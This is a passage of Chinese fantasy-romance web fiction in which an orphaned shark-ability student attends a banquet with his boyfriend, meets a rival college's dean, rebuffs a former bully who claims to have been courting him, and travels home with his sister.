“不是，三楼是教职工餐厅。我们的在四楼。”海豚班长不无羡慕地看着一楼二楼的普通食堂，语气颓丧。 沙伍没注意，提着自己的宝宝餐，感觉就算不能尝一尝，闻闻味儿也是好的。 然后到了四楼一看，他几乎不想踏进去。 一楼二楼的食堂档口多到像美食城。 路过三楼的时候，他也搂了一眼，食物种类也非常丰富。 到了四楼，只有ABCDEF的套餐。 学生就餐直接刷手环，根据异能值天赋领取相应的套餐，里面是晕眩的蘑菇、尖叫的南瓜、扭动的某种绿色蔬菜，看着只有米饭和肉是正常的。 沙伍突然就觉得自己的宝宝餐很好，特别好。 海豚班长坐在他对面：“军训的时候看你天天吃这些东西，觉得你也太惨了。”现在就不一样了，至少宝宝餐看着很正常。 小丑鱼面无表情地用勺子拍扁南瓜，挖了一勺吃：“当时我们多爽啊，你天天给我们抓鱼吃。” 桃花水母在邻桌坐下：“天天吃这些东西，感觉要被毒死。” 沙伍指着尖叫南瓜：“南瓜不是挺好吃的？”蘑菇他是没吃过，“吃不惯可以自己开伙的吧？” 他记得青龙学院的宿舍里都是配备厨房的。 住宿条件比起其他学院来说，好了不止一星半点。 蓝鳍金枪鱼听得差点翻白眼：“可以是可以。这不是自己买食材太贵了嘛。” 自己买食材，虽说也是交给厨房机器做，至少能够选择自己爱吃的食物，挑选喜欢的烹饪方式。 听上去是不错，但异能食材价格巨贵。 像他们眼前这一餐，原材料价格就得好几百。 如果在学校吃，免费。 他们一年级一个月才3000块补贴，哪怕家里能再给一点，也经不起这么吃。 沙伍不理解：“不是可以自己去海里捞？” “去了。海里人比鱼多。” 桃花水母更是悲愤：“你们海里都这样了，河里人更多。我还游不快！” 海豚班长说道：“我组织过几次周末去内海抓鱼，唉……” 他想着周末时间充裕，可以去远一点的地方，没想到大家都是这么想的。 他们十班的实力在一年级中还可以，但和其他高年级学长学姐比，完全是小趴菜。更别提还有一些研究所的学长学姐们，甚至还有一些老师。 竞争？ 想多了。 几乎天天在海里遛弯的小鲨鱼可太明白了：“得到外海那边，那边碰不到……”想到上周六刚被他啊呜一口的螃蟹学长，他更正说法，“几乎碰不到人。班长，你的菜要跑了。” 海豚班长赶紧把菜夹起来，十分扭曲地吃掉。 小丑鱼羡慕地看着沙伍：“那边对我们来说太危险了，不敢去。” 小丑鱼不敢去，沙伍能理解，毕竟小丑鱼等级低且没什么攻击力，但是：“你们也不敢去吗？”好歹都是S级异能值，还是从小就觉醒了异能的，实力比他这个半吊子鲨鱼要强多了吧？ 蓝鳍金枪鱼深呼吸一口气，吃掉蘑菇：“不敢。那边的污染比3号监测点附近要严重多了。我们没净化异能，要分心对抗污染，还得维持一个比较长的时间，游个来回都够呛，想要分心捕猎根本做不到。我们现在的实力，最远也就是在3号监测点附近转一圈。那边附近好抓的生蚝什么的，早就被撬光了。” 沙伍想到之前院长带他去过的岛，那上面的生蚝是真的好吃。 “生蚝真好吃。不知道院长什么时候回来？” 其他人不明白话题怎么从生蚝拐到院长身上的，但还是没让话落在地上：“院长这几天不在吗？” “说起来是好些天没看到院长了。” 沙伍的注意力瞬间转移到了别的地方：“学校那么多夜师傅，你们能分得清哪个是院长？” “能啊。” “当然能！” “最凶……雄伟的那个就是院长！”小丑鱼盯着突然落到餐桌上的夜鹭，说话猛地拐了个急转弯，紧接着露出一个僵硬的笑。 夜鹭收起翅膀，瞅了瞅学生的餐盘，没什么食欲，再看看沙伍的自带饭盒，更没食欲：“我不在，姜祁就给你做这些吃？你抓的螃蟹呢？” 沙伍：“前天的赔给螃蟹学长了。昨天的晚上吃掉了。我再去给您抓几只？” “算了。”夜鹭甩了甩脑袋，低头看了看沙伍。 沙伍一脸莫名地和他对视。 夜鹭打开手环：“上课着装不整齐，写一篇1000字的检讨交上来。” 沙伍顺着他的视线，往自己的脚上看去。 哦，他穿的拖鞋。 第45章 简单包装和复杂包装 区区一千字的检讨，对于伍哥来说小菜一碟。 就是这么一来，他完全失去了对晚宴的好奇。 下午的课上完，他骑着小飞车熟门熟路回家，被堵在宿舍外面，差点没进得了门。 一排长长的飞车落在地上，排队等候在大门口。 梁管家站在门口检查来宾的请帖，登记随行人员。 沙伍的小飞车和飞车队伍格格不入，被司机驱赶：“小朋友是在青龙学院上学？哪家的？先联系一下你家大人，跟着自家车子进去吧。” 人家说话很客气，但用意确实是驱赶。 伍哥还是第一次看到私人司机这个职业，不由得好奇地多看两眼，想到今天格外多的作业，以及一千字的检讨书，就没有跟人玩耍的心思：“我是这家的。” 司机看他指着自己的目的地，再看看沙伍的长相和年纪，怀疑：“你是姜小少爷？”还是姜家本家？ 话一出口，他马上意识到自己不该打探主人家的事情：“抱歉。您随意。” 宿舍正门的道路毕竟能够用来跑小飞机，其实还是很宽的。 但这会儿因为宴会的因素，用各种鲜花之类人为收窄了。 沙伍骑着小飞车，也不好直接从别人的飞车上飞过去，不礼貌，只能用手环联系梁管家：“梁伯伯，我被拦在外面了。” 梁管家一下就飞过来找到车队里的显眼包：“干嘛排队？” “不排队，我走哪里？路就这么宽。” 梁管家简直无奈：“你早上也不是从正门走的，不都是斜着横穿花园出去的吗？” 宿舍有很长一段是没有围墙的，别说骑着小飞车了，就是走路都没问题。 沙伍一眨眼：“啊。” 一定是他在脑子里一边构思检讨书，一边想着作业，分不出多一点脑子在这方面了，不是他脑子抽抽了。 梁管家把沙伍领进了门。 来参加晚宴的飞车内，一众人看着这一幕，纷纷揣测沙伍的身份。 他们中的一部分知道姜纶的长相，另外不知道的，也知道姜纶的特征。 很明显，刚才进去的少年不符合。 难道真的是姜家另外的孩子？ 不是说姚瑞云和姜家其他人关系不怎么好吗？ 说不定是姚家的？ 被布置成会场的的一楼大厅已经来了一些宾客，沙伍看见，根本就没从一楼走，骑着小飞车绕到了厨房后门，结果这里的人比前面还多，全都是一些后勤服务人员。 “林大哥！”沙伍眼尖，发现了在人群中的阿大。 阿大快跑过来，接过沙伍手上的保温袋：“今天后厨这里乱，你先回房，我一会儿让家政机器人给你送餐上去。” “好。”人家正经工作，沙伍不好打扰，骑着小飞车找到一个没什么人的侧门，让小飞车自己去车库，自己直接回房。 “啊！”沙伍刚进小书房就被姜纶偷袭，在自己反应过来之前，就已经一口咬了上去。 咬到了一口布料。 沙伍嫌弃松口：“你怎么不在楼下招待客人？” 穿礼服的小少爷更加帅气，就是包裹得太严实，不好下口。 他还是喜欢包装简单的小少爷。 姜纶把自己挂在沙伍背上，让他拖着自己走，语气懒懒的：“那是我姐的客人，她去招待就行了。晚点，我们一起下去露个面。主要是让他们记住你的脸，免得有些地方碍手碍脚。” 沙伍微微皱起脸：“我一个普普通通的学生，能有什么地方需要跟这些大人物打交道的？” 他走到卫生间洗手洗脸，再走到小书房，把姜纶放到椅子上，自己坐到他身边，打开手环，拉出一堆光屏，准备开始做作业。 做作业前，他突然看了一眼书房里的双人椅，又看了看身边的姜纶：“我说怎么用双人椅。” 他还以为是方便他做作业的时候更换各种姿势。 姜纶假装没听到，把沙伍今天作业清单的光屏拉过来看：“要做这么多作业？” “嗯。今天作业特别多。不过历史课的这个调查报告下周课前交就行，不一定要今天写完。”但是调查报告花时间啊。 沙伍感觉还不如让他抓个特定的变异生物什么的。 姜纶就看他先开始写检讨：“你今天就穿着室内拖鞋上了一天课啊？” 沙伍觉得男朋友哪里都好，就是长了张嘴，抬手假模假事地推了他一把：“闭嘴。再开口就出去，别妨碍我写作业。” 明明上午和下午的老师都没说什么，偏偏倒霉被院长撞上。 院长也是不通情理，下次不给他抓螃蟹了。 唉，他还想着让院长带他去撬生蚝。 算了，确实是他犯了错，院长只是秉公执法。 区区一千字而已。 没有姜纶的干扰，沙伍很快就把检讨写完。 姜纶全程观看，忍不住说：“你怎么那么会写检讨？” 这措辞严谨，反省深刻，啧啧啧。 沙伍把检讨书递交给院长邮箱，把第二份作业扒拉过来：“以前经常打架，总是被老师抓到。写多了就熟练了。”不管是300字还是3000字的检讨都是一个套路。 想到以前写检讨的经历，他忍不住吐槽，“每次我被针对的时候，老师都看不见；等我揍人的时候，老师就刷新了。” 姜纶原本懒散得跟软面条似的身体，一下就坐直了：“你被针对？！” “别这么严肃，我都打回去了，一点都没吃亏。”沙伍一心二用，一边写作业，一边忆往昔峥嵘岁月，“别看我这样，其实我读书还行。小升初的时候，我就考去了东湖的重点中学。你也知道我们孤儿院的教学质量就那么一回事情，能够考上好学校的人很少，大部分都是在孤儿院的小学中学，然后是职校、技校这样。 当时我的中学，全年级就我一个孤儿院里出来的。很多同学都是家里面有权有势的，再差也是能上一千块一节补习班的人家。” 提起这个价格，他到现在都忍不住轻轻抽气，“我之前都不知道有补习班这回事，根本不敢想一千块一节课。” 金钱对于钻石小少爷来说是最普通的东西。 他轻轻拍抚他的后背，安慰：“现在你有好几个家庭教师，还可以让院长给你单独开小灶。” 沙伍呲牙一笑：“没事啦。当时就是那些同学欺软怕硬嘛，觉得我一个孤儿没后台好欺负。再有大概是嫉妒我平时根本没怎么学习，就比他们成绩好？哦，不对！”他突然右拳左掌轻轻一敲，“他们应该就是纯粹嫉妒我受欢迎！” 姜纶听着沙伍之前的话，把一个孤儿院出身，被同学们排挤老师针对，不仅刻苦学习，还要辛苦打工的小可怜，脑补到两眼含泪；听到最后一个原因，眼泪瞬间就收了回去：“哦，受欢迎？” 沙伍的脑子一大半在作业上，对别的方面感受就迟钝一点，没察觉到姜纶的语气变化，不过脑地回答：“对啊。你不知道当年一旦过节的时候，我的课桌里都被塞满了礼物。到我过生日的时候，礼物更多。唉……” “叹气什么？”难道是小鲨鱼在遗憾中学的时候没来一场恋爱？ 还是说，小鲨鱼确实是谈过？！ 冷静！ 沙伍揉脸，继续做作业：“其实我也没怎么受欢迎啦。那些给我的‘礼物’，大部分都只是个漂亮的包装盒，里面装着一些奇怪的东西，什么虫子之类捉弄人的东西。可能有几个送的礼物比较正常？”他望天，语气不确定，“不过他们都会说，‘你一个孤儿没见过吧，没吃过吧，没用过吧’之类的。” 姜纶的眼睛里重新盈满泪水：“以后你想买什么就买什么，想用什么就用什么。我把我的账户跟你绑定。” 其实这是姜纶第二次提了，沙伍的回答还是一样：“用不着。梁伯伯比我自己都细心。” 他需要什么东西，保管早就准备好了。 他自己买点小礼物什么的，以自己现在的赚钱能力，完全可以覆盖。 再说，用姜纶的钱，给别人买礼物，怎么想都很奇怪。 其实姜纶的生活中很少需要真的自己花钱买什么东西，也都是想要什么，管家给准备好。 只是被沙伍连续拒绝了两次，他还是觉得有点不高兴：“那你是我的男朋友，应该用我的钱。” 沙伍这回终于察觉到他的小情绪：“我用了啊。梁伯伯给我准备东西，花的不都是你的钱吗？” 具体用了多少，他都已经懒得记账了。 类似请院长给他上课这样的事情，根本就不是花钱就能办到的。 哪怕是为了这些砸他身上的资源，他都得努力学习：“我会早日成为对你有用的人！”坚定！ 姜纶的脑子瞬间想歪：“哦，那确实。好好配合祁叔调养好身体，早点真正成年……”有用♂ 小少爷被“请”了出去。 小风上来找人：“大小姐让您下楼去见一见客人。” 姜纶先下楼回到自己的衣帽间，让人给自己整理好衣服，才跟着小风一起下楼，小声询问：“还有谁来了？” 小风小声道：“院长带来的，和大小姐认识。” 宿舍的隔音很好。 书房着重做了隔音。 沙伍很快就沉浸在作业中，做得不知天地为何物。 家政机器人送上来晚餐，他都一边用餐，一边看资料视频，没浪费一秒钟。 等到他把除了报告之外的作业全都做完后，才想起来楼下还有人在办宴会。 “去看看？”长长见识！ 沙伍飞快做了决定，刚把房门打开，就看到姜纶站在门口：“嚯！” 姜纶刚刚还带着点烦躁的脸瞬间变成笑容：“不怕不怕。”他扶着沙伍的肩膀，把人往房间里推，“我算着时间，你应该做完作业了，过来给你换衣服。” 沙伍“哦”了一声，跟着他往衣帽间走：“差点忘了，要穿正装。” “嗯，得换礼服。今天就是见一些人，没给你准备太隆重的。”姜纶把穿在人台上的衣服解下来，一件一件又一件地给沙伍换上。 衣服穿在人台上的时候，沙伍还挺期待自己能穿这么帅气的衣服的。 等开始穿，他才察觉其中的麻烦之处：“活了18年，还不会穿衣服。” 怎么这么麻烦！ 这些乱七八糟的夹子扣子到底是什么玩意儿！ 等到衣服配饰全都穿戴完毕，看着镜子中的自己，沙伍评价：“突然理解了上次那么多裁缝设计师为什么要给我量半天。” 小鲨鱼偶尔需要复杂包装。 姜纶偏头亲了他一下，拉着他出门：“接下来每个季度都会有人过来给你量体。你不要嫌麻烦就好。” 为了这么好看的包装，沙伍觉得一个季度一次问题不大：“等我长到成年大鲨鱼，应该就不用这么麻烦了。” 姜纶不置可否地笑笑。 沙伍见他没吭声，回过头去看他：“还得量？” 姜纶本来想干脆回答是，但考虑了一下自家小鲨鱼遛弯的距离，还是说道：“有条件的话，最好每个月季度都量一下。哪怕成年了，体型、气质也会发生一些变化。亲自和设计师见一面，方便他们做出更合适的衣服。” 沙伍“哦”了一声：“有道理。”顿了顿，感慨，“好麻烦啊。” 小鲨鱼其实可以T恤工装裤穿一年四季，冬天加个厚外套就行。 电梯到达1楼，姜纶和沙伍并肩出来，瞬间吸引了会场中所有人的目光。 姜纶那一身不好接近的气场，他们刚才已经见识过了，这会儿突然带着个少年下来，周身的感觉好像平易近人了？ 不不不，钻石小少爷平易近人什么的，绝对是错觉。 有些人认出沙伍就是傍晚大门口骑小飞车的少年。 看到的人心里面都在猜测沙伍的身份，只是都没说出口。 这下看到沙伍跟着姜纶一起出现，觉得特别合理，一定是姜家或者姚家的某个重要人物。 有些人大胆猜测，说不定这是姜纶的弟弟，其实姚瑞云女士生了三个，只是最小的这个一直没公开而已。 沙伍可不知道他们揣测了多少故事，跟着姜纶被介绍认识了几个这个高官那个政要，根本不明白他们具体干什么的，只能礼貌握手。 大家表面都和和美美。 前后不到十分钟，姜纶就把沙伍带走。 走开一段距离后，沙伍小声问：“还有好多人没认识？” 姜纶不以为意：“剩下那些不用在意。这里面的讲究，等你有空了再跟你说。先带你认识一位长辈。” 说着，他敲门进入一个房间，里面就是个普通会客室的摆设。 四边沙发上，一边坐着姚昭华，一边坐着一只夜鹭，一边空着，剩下一边坐着一个相当魁梧的壮汉。 这个人很奇怪，明明很壮实，很有压迫感，还是寸头纹身，但又给人一种很温和，情绪很稳定的矛盾感觉。 有点像海豚班长。 姚昭华指着自己身边空着的沙发说道：“小伍过来坐这边。” 壮汉对沙伍招招手：“小朋友第一次见，过来叔叔给你个小礼物。” 沙伍上前，从他手上接过一个银色的类似鹿角的东西：“谢谢叔叔。” 壮汉送完礼物，等沙伍坐好，才自我介绍：“我是白虎学院的院长白慈。听说小朋友的异能很特殊，给我见识见识？” 沙伍眨巴两下眼睛，不明白怎么见识，现场吹个泡泡？ 夜鹭飞到沙伍头顶，叨起他一根头毛：“放一条小鲨鱼咬他。” “哦。”沙伍弄出一条迷你鲨，“这样？” 夜鹭一头毛把迷你鲨打散：“看不起谁呢？搞大点。” 沙伍惊讶：“院长的辫子还能变长？！” 他以为院长脑后的饰羽就是单纯的饰羽，就跟普通的夜师傅一样，原来还可以变长的吗？ 不愧是院长！ 夜鹭觉得自己的学生在敬佩奇怪的方向，已经放弃和学生对接脑回路，甚至都懒得纠正他脑袋后面的是饰羽不是辫子。 沙伍只能搓了个一米长的小鲨鱼：“这么大，差不多吗？” 白慈说道：“嗯，差不多，过来吧。” 沙伍就让自己的异能小鲨鱼游过去，对着白慈张嘴。 异能小鲨鱼游得慢慢腾腾，咬得犹犹豫豫，看得夜鹭心头火起，亮起翅膀就要教训学生。 姜纶眼疾手快，把光顾着捂嘴的沙伍抱到自己另外一边，和暴躁的夜鹭隔开：“没事，只是用异能咬人，不会磕掉牙。” “哦，也对。”沙伍不怕了，见白慈已经准备好，就操控着异能小鲨鱼对着白慈的胳膊咬了下去。 意料之中的咬不动。 异能小鲨鱼瞬间分成无数细小的迷你鲨，下意识寻找防御的薄弱处，根本找不到。 不到三秒钟，沙伍就收回了自己的鲨鱼群。 不愧是院长，异能就跟扎实的厚钢板一样，根本找不到空隙，连异能的气味都闻不到。 咦？ 沙伍看看姚昭华，又看看夜鹭，把扑腾过来的夜鹭一把抱起，闻了闻。 夜鹭：“干嘛！” 他平时是太亲和了吗？ 学生也太没大没小了！ 沙伍向院长求教：“院长，你身上都没有气味。姐姐和白叔叔的身上也闻不到……”想到自己的表述可能存在歧义，他更正了说法，“闻不到异能的味道。” 他原先都没意识到这点，明明宿舍里的其他人起码在使用异能的时候，他都能闻到一点气味。 白慈刚才的注意力只在沙伍的异能上，现在听他这么说，原本就偏圆的眼睛更圆了一点：“小朋友果然很有意思。什么时候有空，到我们白虎学院来学习交流？” 姜纶直接拒绝：“不了。小伍要陪我读书。” 白慈一听，不屑道：“你读什么书？青龙学院里有什么能教你的东西吗？早点接手青龙学院，把夜珹放出来，看看小鸟都瘦成什么样了？” 沙伍低头看着旁边沙发扶手上的小小的夜师傅，再看看雄壮威武的白慈。 什么意思？ 院长原来不是这么小一只，也是很雄壮威武的吗？ 夜鹭缩着脖子撇开一条腿：“切~不懂别乱说。我一个打你三个！” 白慈举起双手：“行叭，反正我最弱。你们都是老前辈。” 沙伍看看身边小小只的夜鹭，再看看硕大一个白慈，眼睛里写满了不敢置信。 白慈笑得十分温厚：“真的。现在的五个院长里，我是最弱的一个，还是唯一一个大灾变后出生的。” 沙伍给他的话翻译了一下：“白叔叔最年轻。”别人都是老头老太太的意思？“有多年轻？” 姚昭华笑道：“白慈九级的时候才30岁，今年也才50岁。” 沙伍感觉自从接受了姐姐两百多岁的设定后，看着二十七八岁外表实际五十岁的叔叔，已经很淡定了。 等等。 小鲨鱼发现了盲点。 “那您才五十岁，怎么能让我叫叔叔呢？不是差了辈了？”两百多岁的姚昭华，他都叫姐姐。 难不成白慈还想让两百多岁的姐姐，叫他叔叔？ 倒反天罡！ 才五十岁的白慈一拍大腿，笑出声：“还真是。那你叫我一声白哥！” “白哥。”沙伍叫得很干脆，又跟在整理羽毛的夜鹭说道，“院长，那我们也是平辈了。我叫你夜……” 夜鹭赤红的眼睛盯着他。 沙伍：“……院长。” 夜鹭伸长脖子，挥舞了一下翅膀，然后又缩脖子收翅膀：“一个两个的，没一个让人省心的。尤其是你！” 沙伍下意识挺直背脊，发现夜鹭指着的不是自己，悄悄松了口气，偷眼看挨训的姜纶。 姜纶还是一副无动于衷的样子，嘴上答应得很好：“我会努力的，院长。” “呱！”夜鹭很神气地叫了一声，红眼珠子阴暗凝视，“我也会努力的，小子。” 姜纶：“……”突然有不好的预感。 姚昭华在边上看了半天好戏，突然想起来自己算是学生家长，很敷衍地询问：“夜老师打算怎么训练小纶？” 夜鹭阴暗笑：“第一步，先把他训练到让沙伍闻不到味吧。” 神马？！ 沙伍晴天霹雳。 第46章 追求？ 沙伍对异能高度敏感。 由于他的个人特质，表现为闻到或者是尝到味道。 要做到让沙伍闻不到味，想也知道得把异能凝练收敛到什么程度。 反正沙伍想象不到。 姜纶的异能确实很密实，但对他来说还是能够找到很多细小的空隙去啃啃啃；跟白慈的铁板一块完全不一样。 姜纶也觉得不可能，起码不可能很快就达成。 夜鹭抢先开口：“决定了，这个学期末，你要是做不到的话，那就留级。等明年你就从沙伍的同学，变成沙伍的学弟。你本来就是个多考了两年才考上来的学渣，等四年后，沙伍毕业了，你还是大一。” 都已经选好了和沙伍组战队驻地的姜纶差点直接从沙发上跳起来：“不行！不可能！” 他晚了两年上大学，真不是因为考试成绩差，是因为他之前更加不稳定，对其他人太危险。 沙伍抬手就拍扣住自己手腕的爪子：“撒手！” 鳞片的纹路都出来了，至于这么激动嘛。 真的是，院长只是随口一说，偏小少爷就上当了。 姜纶瞬间松手，手背上的鳞片褪去。 姚昭华看得头疼。 作为学生家长，在老师面前十分弱势，她陪着笑脸：“我们家小纶稳定性不够，劳夜老师多费心。”又板起脸训斥姜纶，“你给我好好听夜老师的安排！要是夜老师都教不了你，我看还有谁能教你！” 姜纶觉得倒也不至于离了夜鹭就没人，但其他几位人选教导方式比夜鹭还要凶残。 万一最后真落在他姐手里，他很可能还没学成就被他姐打死。 白慈对沙伍的能力显然很感兴趣，邀请他：“沙同学有没有战队？什么时候可以实习？到时候来我们白虎学院啊。我们白虎学院和青龙学院是友好学院，今年你们大四的班级还在我们这里实习呢。” “我才大一。”一个学期都还没念完，冥想都不熟练呢。 沙伍感觉无论是战队还是实习，都距离他远着呢。 白慈不以为意：“你很有天赋，不必循规蹈矩培养。夜老师觉得呢？” 夜鹭整理羽毛，不搭理他。 白慈抬起手扒拉了一下耳朵：“行叭。” 沙伍觉得这动作怎么比小粉还像猫，不由得多看了两眼。 会客室门被敲响，梁管家推门进来：“大小姐，时间差不多了。” 姚昭华站起来：“行吧。小纶、小伍，陪我去送送客人。” 两个人跟着她重新回到会场。 宾客们一点都没觉得自己被怠慢，至少面上没表现出来，笑容满面地跟主人家一一道别。 其中一名跟在长辈身后的青年人一直在打量沙伍，只不过一直到离开都没有说什么，主要是这场合轮不到他说话。 等所有客人都离开，姜纶才问起来：“刚才那个……”他翻了一下宾客名单，“姚正清，东湖的……你同学？” “嗯。”沙伍感觉还挺魔幻的，“没想到他爸是东湖市长，在学校里瞧着还挺低调的。” 嗯，相对低调。 其实大家都知道姚正清的家庭条件应该不错，只是不知道究竟是什么背景。 他们班里有几个东湖的富家公子哥，平时在学校里可嚣张了。 沙伍是懒得理会那些，忙着打工还来不及。 姜纶看他连跟人招呼都没打，就知道之前关系不怎么样。 倒是沙伍好奇：“姚正清跟你家是亲戚关系？” “扯得上一点。”姜纶看了看时间，是时候把小鲨鱼关机了，“姚正清的上面几代，跟我姥爷是堂兄弟。” 沙伍感慨姜纶妈妈的年纪，看要被姜纶往楼上带，停下脚步：“不去跟白哥和院长打声招呼吗？” “不用。他们有他们的事情要谈。”姜纶带着沙伍走进电梯。 电梯门关上前，沙伍听到祁大厨的声音：“吃宵夜了！今天吃春卷、酸辣汤！” 沙伍听不得重口味的东西，只能咬两口小少爷解馋。 小少爷提供了拆包装服务，更多的就没了。 沙伍看着一地乱七八糟的衣服和各种配件，自己都无从收拾，根本不敢想损失的金钱，叫了家政机器人过来，自己去泡个冷水澡净化心灵。 可能是真的净化干净了，他这次进入冥想状态特别丝滑。 不是快或者慢的问题，而是掌握了钥匙，能够随时决定什么时候开门，什么时候关门。 体内星河闪耀。 经过了一个晚上的努力，他依旧没能找到，能量究竟是从哪里消失不见的。 唉，小偷也忒难抓了。 沙伍第二天上课的时候不是很精神，课程中间换教室的时候，一边打着哈欠一边走路，差点撞到人。 他不耐烦地错开一步。 什么人啊，杵在路中间当柱子吗？ 柱子叫住了他：“沙伍？” “嗯？”沙伍抬头。 柱子……姚正清神色复杂：“真的是你，沙伍。” 原本消瘦到有些显病态的少年，这会儿还是瘦，但明显长了不少肉，还长高了一截，皮肤白皙红润，精气神充足，一双眼睛黑白分明熠熠生辉。 他昨天晚上在姜家小少爷的宿舍看到的时候，都不敢确定。 沙伍觉得这话很奇怪：“嗯。” “我在护理系没找到你，还以为……原来你是去了青龙学院。”提起青龙学院的时候，姚正清的语气里难免带出一丝羡慕。 “你找我干嘛？”他们在中学的时候只是在一个班级，又不熟。没道理进了大学，就因为是老乡，所以就该亲切友好了。大家见面当不认识不好吗？ 小丑鱼同学在楼下喊人：“沙伍，快点！” “哦，来了！”沙伍对着姚正清敷衍地摆摆手，“走了。” 姚正清见他要走，上前一步想要拉住他：“等等！” 沙伍手腕一翻，反手扣住姚正清抓过来的胳膊，顺着他的力气一拧一送，就把人摁在阳台栏杆上：“干嘛？” 有事说事，动手动脚干嘛？ 再说，他们之间能有什么事？ 姚正清被拧得胳膊剧痛，眼看着沙伍就要走，忍着痛快速说道：“我好歹追了你四年多，你跟我装陌生人？” “啊？”沙伍手都松开了，“……你是说你那些‘穷酸，这个你没吃过吧’、“小要饭的，这个你用不起吧”之类的，是在追我？” “我、我只是别扭，不懂得表达。”姚正清做的时候感觉没什么，但被沙伍说出来，觉得确实是有点别扭，“我中考的时候可以选择青龙城的高中，是为了你留在东湖的。” “有病就去吃药。”沙伍眼看着时间要来不及了，左右看看没有老师，手一撑直接从三楼阳台往下跳。 姚正清吓了一跳，想要伸手去抓，却见沙伍稳稳当当落在地上，和另外一个同学一起坐上小飞车，瞬间没了踪影。 小丑鱼坏笑：“哟哟哟，小鲨鱼出现追求者，小少爷要吃醋了~” “这有什么好醋的？我又不喜欢他。”沙伍翻了个白眼，“他用一种‘嗟，来食’的态度‘追求’了我四年多，我也是开了眼了，不知道有人能这么追人的。” 喜欢一个人，难道会随意羞辱他吗？ 别扭？ 不懂得怎么表达感情？ 滚蛋吧！ 小丑鱼作为异能者，五感比普通人敏锐太多。 三楼阳台的距离又不远，他尽管避免刻意去听，还是听到了几个关键词，只是没想到会是这么……离奇：“啊？真有人这么追人？” 沙伍叹气：“我原来以为没有的。我都没觉得那是在追我。” 咦？这么说来，他以前收到的那几份正常的礼物，确实是有人在追他？ 不不不，脑回路清奇的，不会清奇到一个频道上去，绝对会各有各的角度。 他们清奇的方向太一致了，绝对只是看他笑话，做什么所谓行为学研究。 小丑鱼很好奇：“我听到一耳朵，说是送你礼物了？” “嗯。” “都送了什么？” “蛋糕、新款手环、鞋子、餐券什么的。”都是一些比较贵的牌子，是他路过店面都不敢想能进去打工的那种。 “那你怎么处理的？” 到达下节课的教学楼，沙伍停下飞车：“交给老师啊。谁知道他们会不会在里面使坏？” 小丑鱼大胆猜测：“在蛋糕里埋狗屎，鞋子里藏图钉？” 沙伍一听，脸都绿了：“停！越说越恶心。反正现在都过去了，不出意外的话，他们以后都恶心不到我了。” 坐进教室，老师还没来。 他打开手环，点开联系人列表，手指落在沙肆的名字上，想了想发了条消息给她：姐，我这个周末回去看沙妈妈，你回来吗？ 沙肆很快回复：1 这就是她也回去的意思。 沙伍把自己定好的车票信息发给她。 沙肆心领神会，没一会儿就发来了差不多时间到站的车票信息：到时候一起走。 沙伍回复：1 接下来沙伍按部就班上学，公共课的时候偶尔能见到姚正清，不过人家没再过来骚扰他，他也就当没看见。 宿舍里的人显然在忙碌建设新宿舍。 到了周六一早，他带上祁大厨连夜准备好的两天的饭，带上姜纶，坐上了回去东湖城的列车。 姜纶的第一次跟陌生人待在一个车厢，坐定后跟沙伍小声说：“没有双人座位吗？” “没有。”沙伍把自己的手给他拉着，“一会儿到站后等一会儿我四姐。她跟我们一起回去。” “我知道，你跟我说过了。”姜纶纠结不能和心爱的小鲨鱼贴贴。 沙伍研究了一下，找来乘务员询问。 乘务员还真的把座位之间的扶手给收了起来，变成了一个双人座。 “谢谢。” 姜纶和沙伍两个人挨着坐好，终于舒坦了，小声说了一会儿话，列车还没发车就睡着了。 两个人迷迷糊糊下车，在站台上愣了几分钟才算清醒。 “学习真累啊。”沙伍打着哈欠，懒得动弹，干脆叫了一辆小货车过来。 姜纶也差不多，把几个行李箱搬上去，再把沙伍搬到行李箱上放好：“好好看着行李。” “你够了啊。”沙伍把他拉上来，导航到沙肆到站的3号站台，等了没几分钟，就看到沙肆的列车到站，接着就是一个高挑纤细小麦色皮肤的姑娘走了下来。 他赶紧招手：“四姐！” 沙肆原本一张冷凝的脸，在看到沙伍的时候瞬间露出柔和的笑容：“还特意过来等我。”她看着姜纶，问沙伍，“这位是？” 独狼似的小孩儿，去了大学之后也是交到朋友了。 沙伍一看到身边的姜纶就笑得很高兴：“这是我男朋友姜纶。姜纶，这是我四姐，沙肆。” 姜纶早就已经从小货车上下来，站在地上，跟沙肆握手：“四姐好。” 沙肆下意识握了一下手：“你好。”走到小货车上，“走了，别堵在这儿。” 男朋友？ 男朋友也是朋友。 沙肆觉得男朋友也不是不行。 不管是朋友还是男朋友，沙伍显然是交到了好朋友，整个人的状态比起高中的时候要好太多了。 东湖车站小，旅客倒是不少。 沙伍看她就带着个小背包：“你行李就这点？” “就回来住一晚，要带多少行李？”说完，她诧异地数了数这一车的行李箱，“哈？你们带了八个箱子？” 沙伍用小拇指戳戳姜纶，不好意思：“他说第一次见沙妈妈，得多带点礼物。” 沙肆冲着姜纶点头：“有心了。沙妈妈一定会喜欢的。” 谁不希望自家孩子被别人重视呢？ 沙妈妈作为孤儿院“派发”的领养妈妈，确实不能和普通妈妈那样给他们这些孤儿很多关爱，但不是她不愿意，而是她没有那么多精力。 孤儿院的工作繁杂，收入低，还要面临孩子们时不时闯出来的祸。 年龄越大，沙肆越能理解。 火车站的小货车不能离开火车站范围。 沙伍重新叫了一辆飞车，把目的地直接设置到了沙妈妈家。 “沙妈妈说在家里包水饺~” 沙肆听得眉眼带笑：“我们这些离家的孩子，也算是能被沙妈妈宝贝一下了。” 沙伍给姜纶解释：“包饺子特别麻烦，沙妈妈平时不会包，只有离家的孩子们回来的时候会包一顿。” 姜纶听出来意义不一样：“回家让我妈……我去跟祁叔学，到时候我来包给你吃。” “我也一起学。其实我感觉我会，从小到大看沙妈妈包过很多次。”沙伍充满自信。 沙肆打击他：“你别感觉。” “好吧。”到目的地还有一段路程，沙伍就跟沙肆简单讲了讲自己进入共工大学后，突然觉醒，现在在青龙学院读书的事情。 沙肆有点意外，又不算意外：“我说你怎么给我两根那么贵的发带。我有懂行的设计师朋友看了一下，说你给我的发带是异能物品？” “对。上面的蚝珠和晶核都是我自己打猎来的，厉害吧？你平时随身带着，上面有个小防御罩，遇到危险自动触发的，一般情况下够用。”沙伍想到去过的朱雀城，“你在泉城应该还好，不会有什么变异生物吧？” 泉城和东湖这种新兴城市不一样，算是最老牌的城市之一。 沙肆毕业后就去了泉城发展，到现在已经有好几年：“我是没见过。不过，谢了。” 作为一名独居女性，能够有随身携带的安全措施，整个人都安心很多。 沙妈妈的房子就在东湖孤儿院旁边的小区，几乎和孤儿院里的设施差不多，高耸的楼房，十层以下几乎没有什么采光。 沙伍从飞车上下来，被秋风一吹，下意识吸了吸鼻子：“沙妈妈什么时候换个房子。” 